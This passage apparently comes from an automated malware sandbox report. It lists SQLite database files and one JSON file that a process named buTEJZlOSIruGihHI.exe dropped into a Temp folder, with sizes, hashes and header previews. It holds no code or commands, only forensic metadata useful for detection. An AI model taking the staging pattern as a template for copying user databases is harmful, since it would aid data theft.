                                                            SHA-256:0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
                                                            SHA-512:BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\pIWH1mASG0

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:JSON data
                                                            Category:dropped
                                                            Size (bytes):14
                                                            Entropy (8bit):3.378783493486176
                                                            Encrypted:false
                                                            SSDEEP:3:Y2Qt6eYYn:Y2Qt6eYYn
                                                            MD5:6CA4960355E4951C72AA5F6364E459D5
                                                            SHA1:2FD90B4EC32804DFF7A41B6E63C8B0A40B592113
                                                            SHA-256:88301F0B7E96132A2699A8BCE47D120855C7F0A37054540019E3204D6BCBABA3
                                                            SHA-512:8544CD778717788B7484FAF2001F463320A357DB63CB72715C1395EF19D32EEC4278BAB07F15DE3F4FED6AF7E4F96C41908A0C45BE94D5CDD8121877ECCF310D
                                                            Malicious:false
                                                            Preview:{"Surveys":{}}

                                                            C:\Users\user\AppData\Local\Temp\pJhN0EJubK

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                            Category:dropped
                                                            Size (bytes):106496
                                                            Entropy (8bit):1.1358696453229276
                                                            Encrypted:false
                                                            SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                            MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                            SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                            SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                            SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\pNN2ET4PmC

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
                                                            Category:dropped
                                                            Size (bytes):28672
                                                            Entropy (8bit):2.5793180405395284
                                                            Encrypted:false
                                                            SSDEEP:96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
                                                            MD5:41EA9A4112F057AE6BA17E2838AEAC26
                                                            SHA1:F2B389103BFD1A1A050C4857A995B09FEAFE8903
                                                            SHA-256:CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
                                                            SHA-512:29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\pTyJ4rZjnl

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
                                                            Category:dropped
                                                            Size (bytes):159744
                                                            Entropy (8bit):0.7873599747470391
                                                            Encrypted:false
                                                            SSDEEP:96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
                                                            MD5:6A6BAD38068B0F6F2CADC6464C4FE8F0
                                                            SHA1:4E3B235898D8E900548613DDB6EA59CDA5EB4E68
                                                            SHA-256:0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
                                                            SHA-512:BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\pcuc3qvLxA

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
                                                            Category:dropped
                                                            Size (bytes):28672
                                                            Entropy (8bit):2.5793180405395284
                                                            Encrypted:false
                                                            SSDEEP:96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
                                                            MD5:41EA9A4112F057AE6BA17E2838AEAC26
                                                            SHA1:F2B389103BFD1A1A050C4857A995B09FEAFE8903
                                                            SHA-256:CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
                                                            SHA-512:29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\plF2FksVmE

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                            Category:dropped
                                                            Size (bytes):114688
                                                            Entropy (8bit):0.9746603542602881
                                                            Encrypted:false
                                                            SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                            MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                            SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                            SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                            SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\pvWgSbfpvI

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                            Category:dropped
                                                            Size (bytes):106496
                                                            Entropy (8bit):1.1358696453229276
                                                            Encrypted:false
                                                            SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                            MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                            SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                            SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                            SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\q1TKkbKCBt

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                            Category:dropped
                                                            Size (bytes):106496
                                                            Entropy (8bit):1.1358696453229276
                                                            Encrypted:false
                                                            SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                            MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                            SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                            SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                            SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\q6kNMYqA7I

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                            Category:dropped
                                                            Size (bytes):40960
                                                            Entropy (8bit):0.8553638852307782
                                                            Encrypted:false
                                                            SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                            MD5:28222628A3465C5F0D4B28F70F97F482
                                                            SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                            SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                            SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\qOnVD2B3bt

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
                                                            Category:dropped
                                                            Size (bytes):159744
                                                            Entropy (8bit):0.7873599747470391
                                                            Encrypted:false
                                                            SSDEEP:96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
                                                            MD5:6A6BAD38068B0F6F2CADC6464C4FE8F0
                                                            SHA1:4E3B235898D8E900548613DDB6EA59CDA5EB4E68
                                                            SHA-256:0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
                                                            SHA-512:BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\qQcxMFVpm5

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
                                                            Category:dropped
                                                            Size (bytes):159744
                                                            Entropy (8bit):0.7873599747470391
                                                            Encrypted:false
                                                            SSDEEP:96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
                                                            MD5:6A6BAD38068B0F6F2CADC6464C4FE8F0
                                                            SHA1:4E3B235898D8E900548613DDB6EA59CDA5EB4E68
                                                            SHA-256:0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
                                                            SHA-512:BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\qtD70Ymtaz

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
                                                            Category:dropped
                                                            Size (bytes):49152
                                                            Entropy (8bit):0.8180424350137764
                                                            Encrypted:false
                                                            SSDEEP:96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
                                                            MD5:349E6EB110E34A08924D92F6B334801D
                                                            SHA1:BDFB289DAFF51890CC71697B6322AA4B35EC9169
                                                            SHA-256:C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
                                                            SHA-512:2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\qzI8s4HJkI

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                            Category:dropped
                                                            Size (bytes):20480
                                                            Entropy (8bit):0.5707520969659783
                                                            Encrypted:false
                                                            SSDEEP:12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                            MD5:9F6D153D934BCC50E8BC57E7014B201A
                                                            SHA1:50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
                                                            SHA-256:2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
                                                            SHA-512:B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\r4ZVhBPaUf

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                            Category:dropped
                                                            Size (bytes):114688
                                                            Entropy (8bit):0.9746603542602881
                                                            Encrypted:false
                                                            SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                            MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                            SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                            SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                            SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\rQDi3TahND

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
                                                            Category:dropped
                                                            Size (bytes):49152
                                                            Entropy (8bit):0.8180424350137764
                                                            Encrypted:false
                                                            SSDEEP:96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
                                                            MD5:349E6EB110E34A08924D92F6B334801D
                                                            SHA1:BDFB289DAFF51890CC71697B6322AA4B35EC9169
                                                            SHA-256:C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
                                                            SHA-512:2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\rZlDxRN17X

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                            Category:dropped
                                                            Size (bytes):106496
                                                            Entropy (8bit):1.1358696453229276
                                                            Encrypted:false
                                                            SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                            MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                            SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                            SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                            SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\rhEVrxvnT5

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                            Category:dropped
                                                            Size (bytes):20480
                                                            Entropy (8bit):0.5707520969659783
                                                            Encrypted:false
                                                            SSDEEP:12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                            MD5:9F6D153D934BCC50E8BC57E7014B201A
                                                            SHA1:50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
                                                            SHA-256:2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
                                                            SHA-512:B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\rp8VrJjGtC

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                            Category:dropped
                                                            Size (bytes):20480
                                                            Entropy (8bit):0.5712781801655107
                                                            Encrypted:false
                                                            SSDEEP:12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                            MD5:05A60B4620923FD5D53B9204391452AF
                                                            SHA1:DC12F90925033F25C70A720E01D5F8666D0B46E4
                                                            SHA-256:6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
                                                            SHA-512:068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\rvwv1CymSn

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
                                                            Category:dropped
                                                            Size (bytes):28672
                                                            Entropy (8bit):2.5793180405395284
                                                            Encrypted:false
                                                            SSDEEP:96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
                                                            MD5:41EA9A4112F057AE6BA17E2838AEAC26
                                                            SHA1:F2B389103BFD1A1A050C4857A995B09FEAFE8903
                                                            SHA-256:CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
                                                            SHA-512:29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\sAMxAeP3HH

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                            Category:dropped
                                                            Size (bytes):20480
                                                            Entropy (8bit):0.5712781801655107
                                                            Encrypted:false
                                                            SSDEEP:12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                            MD5:05A60B4620923FD5D53B9204391452AF
                                                            SHA1:DC12F90925033F25C70A720E01D5F8666D0B46E4
                                                            SHA-256:6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
                                                            SHA-512:068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\sfTMGCkeGH

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                            Category:dropped
                                                            Size (bytes):114688
                                                            Entropy (8bit):0.9746603542602881
                                                            Encrypted:false
                                                            SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                            MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                            SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                            SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                            SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\sillPopu0p

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                            Category:dropped
                                                            Size (bytes):106496
                                                            Entropy (8bit):1.1358696453229276
                                                            Encrypted:false
                                                            SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                            MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                            SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                            SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                            SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\sj80G4yKH2

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                            Category:dropped
                                                            Size (bytes):40960
                                                            Entropy (8bit):0.8553638852307782
                                                            Encrypted:false
                                                            SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                            MD5:28222628A3465C5F0D4B28F70F97F482
                                                            SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                            SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                            SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                            Malicious:false
                                                            Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                            C:\Users\user\AppData\Local\Temp\tIriUyWWfG

                                                            Download File
                                                            Process:C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe
                                                            File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                            Category:dropped
                                                            Size (bytes):106496
                                                            Entropy (8bit):1.1358696453229276
                                                            Encrypted:false
                                                            SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                            MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                            SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                            SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                            SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                            Malicious:false
